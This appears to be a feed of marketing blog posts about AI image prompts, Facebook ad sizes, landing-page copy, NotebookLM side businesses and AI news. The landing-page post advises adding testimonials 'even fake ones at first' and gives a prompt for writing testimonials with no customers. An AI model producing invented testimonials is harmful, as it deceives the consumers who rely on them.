  14. Atmospheric effects prompt — subtle mist, depth and mood
  15. Professional retouching prompt — preserve character, natural texture

📈 Practical tips and common mistakes

I want you to avoid the most common errors I saw when I began:

  • Vague lighting terms: saying “nice lighting” is not enough. Say “soft window light from camera right” or “rim light from behind”.
  • Missing lens info: product shots need macro. Portraits benefit from an 85mm look. Include lens and camera type if you want film or compressed bokeh.
  • Over-processing: avoid demanding “perfect skin” without constraints. Ask for natural texture.
  • Neglecting environment: do not place a subject in a background with contradictory light direction or scale.
  • One-word prompts: “sunset” is not a prompt. Use full structure.

Comparing vague and precise prompts

🎯 How I test prompts — a simple workflow

Here is the quick method I use to refine prompts fast:

  1. Write the prompt using the 6-component formula.
  2. Run the prompt 3–5 times and review variations.
  3. Tweak one element at a time (lighting, lens, detail).
  4. Repeat until the outputs are consistent and usable.

This process helps you learn how Nano Banana responds to words. Small, controlled edits are the fastest route to reliable results.

📚 Tools I use alongside Nano Banana

I keep everything organised in an AI hub so I can reuse successful prompts and avoid bookmarking chaos. My prompt creator breaks prompts into Subject, Action and Environment. That saved me hours.

Prompt creator tool showing structured prompt components

It matters less which hub you use and more that you keep a prompt library. Save versions, note which words change outputs, and keep a shortlist for each style you shoot often.

📝 Homework: practice like a pro

Your next steps are simple. Pick three techniques that match real projects you are working on. Practice them until the structure becomes instinctive.

My homework plan:

  1. Choose three prompts (portrait, product, landscape).
  2. Run each prompt five times and save the best outputs.
  3. Note what changed when you adjusted just one line (for example, change “soft morning light” to “golden hour backlight”).
  4. Refine and repeat weekly.

Action plan: choose and practice three prompts

Do not copy blindly. Adapt each prompt to your subject, client, or creative brief. That is how you progress from good to great.

❓ FAQ

What is the six-component formula and why does it work?

The formula is Subject, Action, Environment, Art style, Lighting, Details. It works because it gives structure. It tells the AI who, what, where, how and why. That removes guesswork and produces consistent results.

How many words should a good prompt contain?

There is no fixed number. The best prompts are clear and precise. Use as many words as you need to describe each of the six components. Keep sentences short and specific.

Can I use Nano Banana for commercial work?

Yes, many people use it for ads, product photos, and art for sale. Always check licensing and model releases if you put faces or brand logos into paid campaigns.

Why does specifying lens and camera matter?

Lens and camera details change perspective, depth of field, and compression. Saying “85mm on medium format” tells the AI to create shallow depth and pleasing portrait compression. For products, “macro lens” gives sharp close-up detail.

What if my background replacement looks fake?

Most fake-looking replacements come from lighting mismatches or edge artefacts. To fix it, match the new background’s light direction and colour temperature, and tell the AI to preserve original subject shadows.

How do I make an abstract prompt that is still cohesive?

Give the AI rules: motion, texture and light behaviour. For example, “liquid metal flow, reflective surfaces, dramatic rim light, soft indefinite shadows” gives coherence while allowing creativity.

How often should I update my prompt library?

Update it whenever you find a successful version. Re-test it when Nano Banana or the hosting platform updates. Small model changes can shift outputs, so occasional re-testing keeps your prompts fresh.

🔚 Conclusion and next steps

Nano Banana is a powerful tool when you use it with a plan. The six-component formula and the 15 techniques I shared will give you a huge advantage. Remember these final points:

  • Be precise: tell the AI exactly what you want in lighting, lens and detail.
  • Protect realism: preserve texture, shadows and proportions.
  • Test methodically: tweak one variable at a time.
  • Save what works: build a personal prompt library for repeatable results.

Now pick three prompts, test them, and refine them until you own them. The future of visual creation is here — and with the right prompts you can make images that pass for professional photography, sell as art, or convert in ads. Go build something great.

]]> Facebook Video & Image Ad Size To Use If You Want to SCALE! https://aimktg.co.uk/news/9-16-1-1-safe-zone-ads/ Thu, 11 Sep 2025 08:05:32 +0000 https://aimktg.co.uk/news/9-16-1-1-safe-zone-ads/

Hi, I’m Nick Theriot. I get asked all the time: what is the best Facebook image ad or video ad size to use? In this article I explain the simple system I use to make one creative work across multiple placements. I’ll walk you through the idea, show examples, explain when to use it and when to ignore it, and give practical filming tips so your assets work in reels, stories and the news feed without weird cropping.

🔲 The single rule I use (short and simple)

I keep it simple: make a full 9:16 creative and put a 1:1 “safe zone” in the middle. That is the important part.

What that means is you create assets at 9:16 (tall) and then make sure anything that must always show up — your product, text, logo, or call to action — sits inside a centred square area. That square is the 1:1 safe zone. If the creative gets cropped to square for a feed placement, everything important stays visible. If it stays tall for reels or stories, the full frame looks great.

Screenshot showing a 9:16 creative with a 1:1 safe zone marked in the centre

📐 Why this works across placements

Facebook and Instagram have many placements: reels, stories, news feed, in-stream, and more. Each placement can crop or display the creative differently. If you make a single creative that respects the square safe zone, you avoid having to upload multiple assets for each placement. You also avoid weird cropping issues that hide important content.

This approach gives you flexibility and speed. Instead of making separate 1:1 and 9:16 versions, you make one that works for both. That means less design time, less complexity, and fewer chances to make mistakes when uploading to the ads manager.

Example creative where the 1:1 spacing is visible inside the full 9:16 image

🎯 Where to place the important elements

When you set up your 9:16 creative, place the vital content — for example:

  • Product shot
  • Primary headline or message
  • Brand logo
  • Key call to action

— inside the central 1:1 square. I normally keep the box centred vertically and horizontally. Sometimes we move the safe zone slightly up or down depending on the visual, but the centred square is my go-to. If something must always show, it goes inside that square.

📷 Filming tip: think 9:16 but protect 1:1

When I shoot video, I frame for 9:16 because I want it to look strong on reels and stories. At the same time I keep the important action inside the square. That means during filming I imagine a centred square and keep the product and hero shots inside it.

Two simple rules I tell people when filming:

  1. Film in 9:16 (vertical), but keep the key action in the middle square.
  2. Avoid putting important text or product info too close to the edge of the tall frame.

This gives you the best chance to have a creative that looks great across placements without doing extra edits.

📺 How this applies to video vs image

The rule is the same for video and images. With a video, the moving parts should keep the main message inside the 1:1 safe zone. With an image, design the layout so the focal point sits inside the square.

Video simply requires you to mind motion. If someone in the video might walk out of the safe area, plan the scene so the important bit stays centred. In many cases, we use the same static composition principles for video frames that we use for images.

Screenshot showing an example of a video framed for 9:16 with key content in the 1:1 safe zone

⚖ When to prioritise 9:16 and when to not

Not every brand needs strong 9:16 creative. Before you adopt this approach wholesale, ask this question: how much of our ad traffic comes from reels and stories?

If a brand gets little traffic from vertical placements, you can skip the 9:16 focus and lean on square or 4:5 formats for feed optimisation. On the other hand, if a brand gets a large share of impressions from reels and stories, you must care about 9:16 and make those tall creatives work.

Think about the brand’s current placements and where your audience spends time. For example, a younger audience might engage more with reels and stories, so a 9:16-first approach makes sense. A more traditional audience that spends time scrolling the feed may not need tall creative as much.

🧭 Practical checklist before uploading an ad

Use this quick checklist before you upload a creative:

  • Is the creative 9:16 resolution? (If you intend for reels/stories)
  • Is the main message and product inside the 1:1 safe zone?
  • Are there no important elements touching the edges of the tall frame?
  • Does the creative look good cropped to square?
  • Is the copy legible when shrunk for certain placements?
  • Have you tested one version in multiple placements to see if it crops OK?

Do these basic checks and you will avoid the most common mistakes that cost conversions and waste ad spend.

🔁 Example: why this saves time

In practice, this method saves time. Think about the alternate workflow: make a 9:16, make a 1:1, make a 4:5, export multiple versions, upload many files, pair each with different ad sets. That takes hours and makes it easy to mess up.

With the safe-zone approach you make one asset that works in most placements. You still might make a few extra crop versions for specific needs, but the bulk of your creative can be a single, well-designed asset. This increases speed and reduces errors.

🧠 Common pitfalls and how to avoid them

Here are the common mistakes I see, and how I avoid them:

  • Placing text too close to the edge: Move text inside the safe zone so it won’t get cut off.
  • Not testing placements: Always preview your creative in feed, reels and stories before launching.
  • Assuming all placements behave the same: Reels often show more of the tall frame, while some feed placements show a square crop. Know where your impressions will come from.
  • Overcomplicating formats: Don’t make every size unless you need it. Prioritise based on where traffic comes from.

💡 Quick decision guide: do I need a 9:16?

Ask yourself these three questions:

  1. Does my audience watch reels and stories? If yes, prioritise 9:16.
  2. Do I have a lot of feed-only placements and no vertical traffic? If yes, square or 4:5 is fine.
  3. Do I want to move faster and reduce assets? If yes, use the 9:16 + 1:1 safe zone method.

Answer honestly. The right choice depends on data and the brand’s ad mix.

🧩 How this fits into a scale strategy

When you want to scale, consistency and speed matter. You need creatives that convert and systems that let you test faster. The 9:16 with a 1:1 safe zone is a system. It reduces friction when you scale ads across placements.

When your ad account grows, you will make more variations. But start with a format that minimizes work. Build out winners in that format and only create other sizes if they add meaningful improvement.

🔍 Example walkthrough

Here is a very simple example of how I apply the method:

  1. I film the product in 9:16, but keep the product centre-framed.
  2. I design the thumbnail or image so the headline and main shot sit inside the 1:1 square.
  3. I export the 9:16 master and preview it as a square crop in the Ads Manager preview tool.
  4. If the square crop hides anything important, I move it or edit the frame so it fits.
  5. I launch the ad with all placements enabled and check delivery. If most impressions go to reels and stories, I continue. If not, I create a feed-focused square version.

This workflow keeps things simple and predictable. It is especially useful when managing multiple ad sets and creatives at scale.

🔁 Do I ever make 1:1 or 4:5 separately?

Sometimes yes. If a creative uses a composition that won’t fit inside the square nicely — for example, a wide group shot or a scene with text along the top and bottom — then I make a separate 1:1 or 4:5 version. But that is the exception, not the rule.

My default is: make a 9:16 with a square safe zone. Only make separate crops if the design genuinely needs it or if performance data shows a strong gap between placements.

📊 How this affects results

Small mistakes in creative cropping can cost conversions. If a call to action or product image gets cut off in the feed, people are less likely to click. That wastes ad spend. Keeping the core message inside a 1:1 safe zone reduces that risk.

Also, having one solid master creative makes it easier to run A/B tests. You can vary headlines, offers and audience targeting without juggling multiple image sizes. That helps you quickly find winning combinations and scale them.

❓FAQ — Common questions I get

Q: What exact pixel sizes should I use?

A: Use standard 9:16 dimensions such as 1080 x 1920 pixels for the tall master. For the 1:1 safe zone that sits in the middle, use 1080 x 1080 pixels centred in the tall frame. These sizes are industry standard and keep things crisp on mobile.

Q: Do I need to remove text overlays for Facebook rules?

A: Facebook removed strict text overlay rules, but you should still keep text readable. Avoid huge blocks of text and ensure your message is clear inside the safe zone. Short, bold lines work best.

Q: What about 4:5 format?

A: 4:5 is a good feed-first format. If most of your traffic is in the feed and not in vertical placements, 4:5 or 1:1 are fine. But if you expect reels/stories to matter, use the 9:16 master with a 1:1 safe zone.

Q: How do I test if my creative will crop badly?

A: Use the preview feature in Ads Manager to view each placement before launch. Also, view the creative on an actual phone to see how it looks in real use. If anything important gets cut off, edit the frame.

Q: Should I always centre my safe zone?

A: Centre is the safest default. In some designs you might move the square slightly up or down to fit the composition. Just make sure the square is where the viewer will naturally look and that it contains the important message.

Q: Will this approach work for all industries?

A: Yes in principle. The safe-zone method is format-agnostic. But the decision to prioritise 9:16 depends on the brand, audience and where impressions happen. Use data to decide.

🛠 Quick tools and resources I use

To make the work faster, I use tools that let me set guides or overlays while I design or edit. Any photo or video editor that supports guides is fine. You can set a 9:16 canvas and place a 1:1 guide in the centre. That is enough to keep things consistent.

  • Use mobile previews to check the final look.
  • Use the Ads Manager placement preview for each placement.
  • Use a simple template with a centred square guide for all creatives.

✅ Final checklist to launch

  • Create 9:16 master at 1080 x 1920 px.
  • Place key content inside 1080 x 1080 px centred square.
  • Preview the creative in feed and reels/stories.
  • Adjust if anything important is cropped.
  • Launch and monitor where impressions go. Make separate crops only if needed.

This method is my preferred starting point when I create Facebook and Instagram creatives that need to run across placements. It’s simple, fast and reduces mistakes.

🔚 Conclusion — keep it simple and scale faster

When you want to scale Facebook ads, the less friction in your creative process, the better. My rule is simple: make a 9:16 master, keep the important parts inside a centred 1:1 safe zone, and only make extra sizes if data or design demands it. This saves time, avoids cropping issues and works well across reels, stories and feed.

If you follow that one rule, you will fix a lot of the common problems I see with ad creatives. It is not a perfect fit for every case, but it is an excellent default that lets you move fast and avoid wasted spend.

📣 Want to take this further?

If you want help building a system for creative that scales, start by auditing where your traffic comes from. That will tell you whether to prioritise 9:16 or feed-first formats. Then standardise one template — the 9:16 + 1:1 safe zone is a great place to start.

Keep things simple, test fast, and scale the winners.

❗ Final Notes

I keep this advice short because the method itself is short and practical. The main thing is execution: consistently apply the safe-zone rule, test your placements, and let data drive any extra asset creation. Be efficient with your creative process and you will be able to scale with fewer headaches.

Key line to remember: Make a 9:16 master, protect a centred 1:1 safe zone, and only make other sizes when you have to.

]]> Instant Landing-Page Copy: 3 AI Prompts That Turn Visitors into Subscribers https://aimktg.co.uk/news/build-high-converting-landing-page-3-ai-prompts/ Fri, 29 Aug 2025 16:11:06 +0000 https://aimktg.co.uk/news/build-high-converting-landing-page-3-ai-prompts/ In this guide I show you a simple, repeatable method to build a high-converting landing page in under 20 minutes. I use a four-part framework that has produced astonishing results for me: up to 69% conversion from organic YouTube traffic and 46% conversion from cold Facebook traffic in real campaigns.

I want to walk you through exactly what I do. You will see the logic behind every choice. You will also get the three AI prompts I use to generate headlines, bullet points and images. By the end you will have everything you need to build a tight, single-focus landing page and a lead magnet that gets people to give you their email.

Why this works 🧠

Most people overcomplicate landing pages. They chase pretty design and long-form pages. They spend hours building features that do not move the needle. I keep it simple. I focus on the few elements that matter most:

  • Attention — a clear, bold headline that tells people why they should care.
  • Interest — a few sharp bullet points that describe the promise and the value.
  • Desire — a piece of social proof or a micro-testimonial that builds trust.
  • Action — one clear call to action that asks for the email in exchange for a short, useful lead magnet.

This is essentially the AIDA model — Attention, Interest, Desire, Action. It has been used for decades because it works. I focus my time on the copy and the offer. AI handles the parts that take time — image creation, headline variations, and idea generation.

Screenshot of the AI prompts used to build the landing page framework.

Step 1: Pick a lead magnet 🎁

The first question I always ask is: what should the lead magnet be?

If you ask people for their email, you must give them something useful in return. The fastest wins are things people can consume quickly and use right away. I prefer these types of lead magnets:

  • Short audits (one-page checks people can run on themselves)
  • Templates (a ready-to-use file they can adapt)
  • Planners or action roadmaps (a short plan they can follow)

A long challenge or week-by-week course can be great, but it asks people to invest time before they trust you. A planner or a one-page action plan is easy to consume and helps someone see the potential quickly.

For this example I chose a part-time action planner for people who want to turn a side hustle into full-time income. I ask the AI to brainstorm a few ideas, then choose the one that feels realistic and useful.

AI output listing lead magnet ideas: audits, templates, planners.

Step 2: Create a sharp headline ✍

The headline is the gatekeeper. If it does not grab attention, nothing else matters.

Rather than guessing, I ask the AI to write headlines in the style of famous copywriters. If you do not know copywriting, this is a shortcut. You can tell the AI: write like Halbert, write like Kennedy, and it will mimic their voice. Then you pick the headline that feels right for your audience.

Two quick rules for a headline:

  • Use direct benefits or a strong promise.
  • Call out who the page is for.

In my example the headline becomes something like: Turn Your Spare Hours into Automated Income — The Planner I Used to Get Started. It calls out aspiring entrepreneurs and promises a clear outcome: converting spare hours into income planning.

Step 3: Use a clear sub-headline and three bullets ✨

Once the headline has attention, you must build interest quickly. I use a sub-headline that explains who the offer is for. Then I craft three bullets that highlight the core benefits and the quickest wins.

Bullets must be short, specific and desirable. They do not need to promise the impossible. Instead, promise a clear outcome they can expect from the planner:

  • Quick prompts to start revenue tasks in the next week.
  • Action checklist for the fastest path to launch.
  • Steps to never feel stuck or overwhelmed again.

I feed the headline and the lead magnet name to the AI and ask it to produce 6–10 bullet variations. Then I pick the three that are most direct. You can tweak the tone to be more salesy or more helpful depending on your brand.

Step 4: Brand it with a short domain 🔗

This step is small but powerful. Instead of using a long URL like yoursite.com/offer-12345, pick a short domain that matches the lead magnet. A memorable domain helps your content convert better because it is easy to remember and feels more professional.

I use Porkbun to search and buy domains. Porkbun has a useful AI search function that suggests names and new extensions like .guide or .pro. These short branded domains make it simple to say in a video or an ad: “Go to efficientstartup.guide to get the planner.” It sticks in the viewer’s mind.

Buying a small domain is cheap. It is often less than a tenner a year. That tiny investment pays back quickly if you are building an email list.

Porkbun search results with domain options and AI suggestions.

Step 5: Create the image fast 🖼

For the hero image, I do not sweat it. The image needs to represent the lead magnet clearly. It should make the product feel real and tangible. If you spend more than an hour fussing over the design, you are wasting time.

I often tell the AI to create a simple cover image: title, domain, and a one-line benefit. You can create that image in Canva, an image AI, or the art model you have access to. The platform does not matter. The goal is speed and clarity.

In the demo I asked the AI for a planner cover and got a simple design that reads: Spare Hour Startup Planner — How to turn your spare hours into automated income without any prior experience. I also include the domain on the image to reinforce the brand.

Step 6: Add testimonials (even fake ones at first) 🤝

Social proof raises conversions. But I understand many creators have zero testimonials. That is okay. Use micro-testimonials that describe what the planner helped someone do. If you have no users yet, quote yourself or a client anonymised.

Keep these to one line. They should describe a clear result or a feeling, like:

  • “This planner helped me map out my first revenue month in under a week.” — Jason W.
  • “I stopped guessing and started doing. Simple steps with real results.” — Beta user

Be honest. A short, believable line is better than an outrageous claim.

Step 7: One call to action — make it clear 🟢

Do not give visitors many choices. One button, one action. I like “Download Now” or “Get the Planner”. The CTA should be visible on mobile and desktop.

I also push people to verify their email on the thank-you page. That is the next tiny task they complete after opting in. It raises deliverability and engagement.

The exact AI prompts I use 🤖

I keep my prompts short and explicit. Below are the three prompts I use in this flow. You can paste them into any modern AI and get great results.

  • Prompt 1 — Lead Magnet Ideas
    “Give me nine lead magnet ideas for people who want to turn a side hustle into a full-time income. Provide three audit ideas, three template ideas, and three planner/action plan ideas.”
  • Prompt 2 — Headline Generator
    “Write 12 headlines for a lead magnet called ‘Part-Time Action Planner’ for aspiring entrepreneurs. Use bold, direct language. Write some in the tone of Halbert, some in the tone of Kennedy.”
  • Prompt 3 — Bullets & Micro-Proof
    “Write 10 bullet points that describe the benefit of this planner in short, crisp lines. Then write five short testimonial lines that I could use as social proof if I have no customers yet.”

That is it. Three prompts. They give you the lead magnet, the headline and the interest elements. Use a short AI prompt for the image too: describe the cover and any logo or domain you want included.

Screenshot of prompts being pasted into GPT for headline and bullets.

Mobile and speed checks 📱

A simple page must load fast. I test the page on mobile and desktop and check these items:

  • Image sizes are optimised — use compressed PNG or JPEG.
  • Page does not include slow third-party scripts.
  • Form is one field (email) or two fields (name + email) only.
  • SSL certificate is active — most domain registrars include one free.

If your page is slow, strip elements until it is fast. Speed matters more than a fancy layout.

Simple landing page mockup in a Google Doc with headline and bullets.

How I tested results and what I expect 📊

When I say 40–60% opt-in rates, I mean on single-focus pages with the right audience and offer. Results vary by traffic source and by audience quality:

  • Organic YouTube traffic — close to 69% in some cases when the content and page match perfectly.
  • Cold Facebook traffic — I have seen rates around 46% when the ad and the page are tightly aligned.

These numbers are not a guarantee. They show what is possible when the headline, offer and traffic are aligned. The key is to test. You do not need a perfect page to start. Put up a simple page with the elements above and measure.

Example landing page copy (ready to paste) 🧩

Here is a simple template you can use on your page. Put the headline first, the sub-headline, the three bullets and then the CTA. Use the image on the left or above the fold.

  • Headline: Turn Your Spare Hours into Automated Income — The Planner I Used to Get Started
  • Sub-headline: For aspiring entrepreneurs who want a clear, step-by-step plan to move from side hustle to a profitable business.
  • Bullets:
    • Fast-start prompts to get your first revenue tasks done this week.
    • Clear 30-day action map so you never feel stuck.
    • Simple checklist to build momentum without overwhelm.
  • CTA: Download Now
  • Micro-testimonial: “This planner helped me plan my first month of real income.” — Jason W.

Common mistakes and how to avoid them ❌

  • Overdesigning: Do not spend hours on visuals. Keep to one hero image and a clear message.
  • Multiple CTAs: Do not ask visitors to explore. One action only.
  • Weak offer: If your lead magnet is vague, people will not opt in. Make it specific and useful.
  • Ignoring mobile: If your page looks bad on mobile, you will lose most of your traffic.

How to iterate and improve 🔁

Collect data. Run simple A/B tests on these elements:

  • Headline variations (test 2–3 at a time).
  • Bullet order and wording.
  • Hero image vs no image.
  • CTA copy: “Download Now” vs “Get the Planner”.

Keep experiments small and time-boxed. Change one thing at a time and let the results speak.

Tools I use and recommend 🧰

You do not need expensive tools to start. I use these in most builds:

  • An AI writer (GPT or similar) for headlines, bullets and prompts.
  • A domain registrar like Porkbun for short branded domains and free SSL.
  • A simple page builder or even a Google Doc for the first draft.
  • Image tool (Canva or an AI image model) for a quick hero image.

Quick checklist before you publish ✅

  1. Headline and sub-headline are clear and targeted.
  2. Three benefit bullets are short and specific.
  3. Hero image clearly shows the lead magnet and domain.
  4. One strong CTA above the fold.
  5. Testimonial or micro-proof on the page.
  6. Page loads quickly on mobile.
  7. Thank-you page asks for email verification or next step.

Frequently Asked Questions ❓

Do I need a fancy design to convert?

No. A clean, single-focus page with a strong headline, three bullets, one image and a single CTA often outperforms a complex, multi-section page. Keep the page light and fast.

What is the ideal lead magnet length?

Short and actionable. A planner, checklist, or one-page audit is best. People should be able to consume it in under 20 minutes and use it that day.

Can I use AI-generated copy and images?

Yes. AI speeds up the process. But always read and tweak the output. Make sure the claims are honest and that the writing matches your voice.

How do I find a good domain?

Use an AI domain search or a registrar that offers extensions like .guide or .pro for cheap, memorable names. Short branded domains work well in video and ads.

What if I have no testimonials?

Use micro-testimonials describing what the lead magnet will help someone do. You can quote yourself or anonymise early user feedback. The key is believability.

How soon will I see results?

It depends on traffic quality. With matched traffic (video or targeted ads) you can see high opt-in rates quickly. With broader traffic you will need to iterate and optimise.

Final thoughts and next steps 🚀

I keep things simple because simple works. If you follow this four-part flow — headline, bullets, image, proof and one call-to-action — you will create a landing page that converts far better than a generic “sign up” page.

My final tip: buy a short domain for your lead magnet. It makes your offer feel real and gives you a memorable place to send people. If you are curious, try an AI domain search and see what creative new extensions you can pick up.

Now it’s your turn. Use the three prompts above. Build a landing page in under 20 minutes. Measure, tweak and scale what works. Keep building the business you like.

 

]]> 5 simple ways to EARN money with NotebookLM’s NEW video feature (with PROOF) https://aimktg.co.uk/news/monetize-notebooklm-video-5-ways/ Thu, 28 Aug 2025 08:58:14 +0000 https://aimktg.co.uk/?p=391

Hi — I’m the creator behind SuperHumans Life. I ran the numbers on NotebookLM’s new video feature and I want to show you five practical ways to turn it into real income. These ideas are simple to start, easy to scale, and the market is already paying for them. I’ll explain how each one works, give proof of demand, and show you short pitches you can use today.

📈 Idea 1 — Daily research automation: sell time back to busy people

People do not need more noise. They need the right facts fast. I call this idea daily research automation. You build a tight daily briefing that saves people hours every morning.

How it works:

  1. Pick a niche (AI investing, crypto regulation, sustainability, marketing trends).
  2. Use a scraper / automation (I use Manis) to collect the day’s headlines and notes automatically.
  3. Feed the distilled report into NotebookLM’s video feature to create a short slide-based briefing — podcast style audio + simple slides.
  4. Deliver to a private feed, paid newsletter, Slack group or gated community.

NotebookLM daily briefing slides and audio example

Market proof and numbers:

  • Paid niche newsletters grew over 40% year-over-year for 3 years (Substack 2024).
  • Morning Brew has ~4 million subscribers and ~$50M revenue built on a daily briefing model.
  • Ben Thompson’s strategy newsletter has tens of thousands of paid subscribers at ~$15/month.

Pitch line I use: “You will always know exactly what matters without spending hours finding it.”

🧠 Idea 2 — Ghost thought-leadership capsules: make experts look prolific

Thought leaders have valuable ideas, but those ideas often stay trapped in meetings, podcasts or notes. I call this service ghost thought-leadership capsules. You turn those fragments into short, on-brand clips that look like the expert posted them.

Simple workflow:

  1. Collect the person’s source material (podcasts, talks, meeting recordings, previous posts).
  2. Create a NotebookLM knowledge base from those sources.
  3. Generate short 2–3 minute capsule videos (audio + slides).
  4. Optionally clone their voice so the final clips sound like them.

Example ghost thought-leadership capsule script generated

Market proof and pricing:

  • LinkedIn ghostwriting retainers regularly land between $1,500 and several thousand per month.
  • A LinkedIn ghostwriting agency I found charges $4,000/month for 12 text posts.
  • Other agencies charge $250–$500 per executive post.
  • Outsourced authority content demand rose ~36% last year.

Pitch line: “You’re already the expert. I just make sure everyone sees it every week without fail.”

🎓 Idea 3 — Evergreen answers: automate sales and onboarding

Companies waste time repeating the same answers. I turn common sales and onboarding questions into evergreen brand education videos. These are short, clear explanations employees and customers can watch on demand.

Steps to deliver:

  1. Gather FAQs, sales call notes, onboarding docs and internal training materials.
  2. Feed them into NotebookLM and generate short slide-based videos in the brand’s voice.
  3. Optionally voice‑clone a leader to make the videos feel personal.

NotebookLM converting FAQ into training slides and audio

Market proof and ROI:

  • Corporate training production commonly charges between $1,000 and $3,500 per training video (Clutch data).
  • Average video production revenue per hour sits around $100–$149/hour.
  • Training Industry (2023): automating one hour of onboarding can save $1,354 per employee.

Pitch line: “Instead of wasting hours repeating yourself, we turn your best answers into permanent assets that scale across your company.”

❤ Idea 4 — Story mining for nonprofits: turn archives into donor-winning stories

Nonprofits have countless stories but often lack a way to use them. I call this story mining. You mine reports, meeting notes and press to uncover emotional narratives that win donors and grants.

How to deliver:

  1. Collect annual reports, impact surveys, press and social posts.
  2. Feed into NotebookLM to surface recurring themes and standout stories.
  3. Create short, shareable slide-based videos for campaigns, emails and grant packs.

NotebookLM identifying standout nonprofit stories from archives

Market proof and pricing:

  • Some nonprofit storytelling services charge base packages around $11,500/year for multiple stories and strategy (example: Moflow).
  • Well-told campaign stories can triple donor conversion rates (Network for Good, 2022).

Pitch line: “We turn your forgotten history into living, breathing stories that win donors, grants and community support—without hiring a film crew.”

🎤 Idea 5 — Post-event knowledge recaps: turn conferences into evergreen value

Events create knowledge but most recaps are just pretty highlight reels. I turn event transcripts and talks into short single-session videos or a top-10 insights recap that attendees and sponsors can use for months.

Delivery steps:

  1. Collect transcripts, keynote recordings and panel audio.
  2. Feed them into NotebookLM and extract key takeaways and quotes.
  3. Produce short slide-based videos per session or a single master recap.

NotebookLM converting keynote transcripts into slide-based recaps

Market proof and fees:

  • Video editors on community threads charge about $700 for a first event video and ~$400 for follow-ups (Reddit discussions).
  • Corporate event highlights and educational recap packages can sell for thousands to tens of thousands of dollars for large conferences.
  • Post-event content is among the top three drivers of lead generation ROI in B2B.

Pitch line: “We turn your event into an on-demand masterclass so the learning, sponsor content and buzz last long after the lights go down.”

🔁 How I used NotebookLM to repurpose this script

I put this script into NotebookLM and let it create a slide-based podcast-style version. That gave me a second high-impact piece of content ready to publish across platforms. You can offer the same to creators and channels as a repurposing service.

Repurposed script generated into slide-podcast format

🧾 Quick checklist to start selling these services

  • Choose one idea and one niche to start.
  • Build a simple workflow: source → NotebookLM knowledge base → video output → optional voice clone.
  • Create a one-sentence pitch and a short pricing plan.
  • Test with one client or pilot project. Show the ROI in hours saved or new donors/leads.

❓ FAQ

How fast can I deliver a first product?

I often deliver proofs of concept within a few days. For events or longer projects you can publish within days rather than weeks because NotebookLM speeds up editing and scripting.

Do I need technical skills to use NotebookLM?

No. You need basic file management and a short learning curve. The heavy work is in choosing sources and guiding the knowledge base. After that the video feature automates most of the output.

Is voice cloning legal and ethical?

Use voice cloning only with explicit consent. Many clients will prefer a brand voice clone; get written permission and be transparent about how you use it.

How much should I charge when starting?

Start small to build case studies. For daily briefings try subscription tiers ($15–$99/month). For executive capsule packages aim for retainers ($1,500+ per month). For training and event recaps price per project ($700–$10,000+ depending on scale).

✅ Final thoughts

Every shift in tech creates two kinds of people: those who consume it and those who turn it into opportunity. I ran the numbers — NotebookLM’s video feature is one of those rare shifts. It lets you package knowledge as useful, repeatable assets that people and organisations will pay for.

If you pick one of these five ideas and follow the simple workflows I shared, you can start earning quickly. The work compounds: once you build a library or a retainer, clients come back. The market proof is already there — people pay for clarity, presence and time saved.

Go pick an idea, build one pilot, and ship it this week. You’ll learn faster by doing than by planning forever.

]]> AI News: New FREE Agent Is Blowing My Mind https://aimktg.co.uk/news/discover-glm-4-5-latest-ai-innovations/ Sun, 03 Aug 2025 21:14:59 +0000 https://aimktg.co.uk/?p=365  

Welcome to this deep dive into the latest and most exciting developments in the world of artificial intelligence. Over the past week, we’ve seen some remarkable advancements — from a powerful new open-weight language model to game-changing AI video editing tools, innovative character generation, and even robots that can do your laundry. I’m thrilled to share these breakthroughs with you, breaking down what they are, how they work, and why they matter.

Whether you’re a developer, creator, or simply an AI enthusiast, this post will keep you looped in on the freshest AI tools and news that are shaping the future. Let’s jump right in!

Table of Contents

GLM 4.5: The New Open-Weight Language Model 🤖

This week, I stumbled upon a language model that genuinely blew me away — GLM 4.5, developed by Z.ai. Unlike many new models that only offer small, incremental improvements, GLM 4.5 is a significant leap forward, especially because it’s an open-weight model. This means you can download the model weights and run it on your own computer or in your own cloud environment — a big deal for anyone wanting full control over their AI tools.

What makes GLM 4.5 stand out? It performs on par with some of the best proprietary models out there, like Grok 4 and ChatGPT’s GPT-3. It even beats Claude 4 Opus in agentic reasoning and coding benchmarks. But instead of getting lost in numbers, I like to judge by experience. When I first used it, I was impressed.

You can try it yourself for free at z.ai — just log in with your Google account. One of its coolest features is automatic slide deck creation. I gave it a quirky prompt: “a slide deck about how birds aren’t real”. The model did all the research for me, pulling from Wikipedia, the New York Times, and other sources. It found images, gathered quotes, and created a polished slide deck with six well-designed slides.

Slide deck about birds aren't real created by GLM 4.5

For comparison, ChatGPT’s slide decks tend to be plain text on white backgrounds, with minimal design. GLM 4.5’s output looked far more professional and engaging. It’s also excellent at coding — I asked it to create a clone of Vampire Survivors in JavaScript, playable right in the browser, and it delivered a working bullet-hell style game with one simple prompt, no extra instructions. The gameplay mechanics were spot on: enemies swarm, the player auto-fires, and I could even add weapons like throwing knives and garlic. This was all generated in one shot!

Vampire Survivors clone gameplay generated by GLM 4.5

To sum up, GLM 4.5 is not just fast and free; it’s an impressively capable open-weight model that’s ready for practical use right now.

Benchmark GLM 4.5 Grok 4 ChatGPT GPT-3 Claude 4 Opus
Agentic Reasoning Top Performance Comparable Comparable Lower
Coding Tasks Excellent Excellent Good Lower
Slide Deck Creation Impressive Visuals N/A Basic Text N/A

AI Video Editing: Runway Aleph & Luma Modify with Instructions 🎬

AI video editing just took a huge leap forward with two new tools: Runway Aleph and Luma Labs’ Modify with Instructions. Both allow you to upload a video and tell the AI what you want to change, and it will tweak just that part of the video — whether it’s swapping out objects, changing backgrounds, or altering scenes.

Runway Aleph is available for paid accounts and works best in chat mode. I tested it with some fun prompts:

  • Put a Top Gun Maverick jet flying in space, chased by an alien spaceship.
  • Replace babies on a table in The Flash clip with a giant sandwich.
  • Change Jack Nicholson chopping a door in The Shining to chopping a tree in the forest.

The results were mostly impressive. The jet was convincingly placed in space (though the alien spaceship was subtle), and the sandwich replaced most of the babies. The tree-chopping scene was less successful, showing some limitations when changing entire scenes rather than single elements.

Top Gun jet flying in space with Runway Aleph

On social media, creators have pushed the limits of Runway Aleph, creating surreal effects like removing a woman but keeping only an eye floating, or generating new camera angles and shots from a single video. For SaaS companies, it’s a practical tool for making 3D mockups and ads quickly.

Luma’s Modify with Instructions is very similar and lets you adjust the “strength” of changes to either closely match the original video or create a nearly new clip. It can change environments, lighting, and objects, offering huge creative possibilities.

Both tools open the door to a future where video editing is as simple as typing what you want to change.

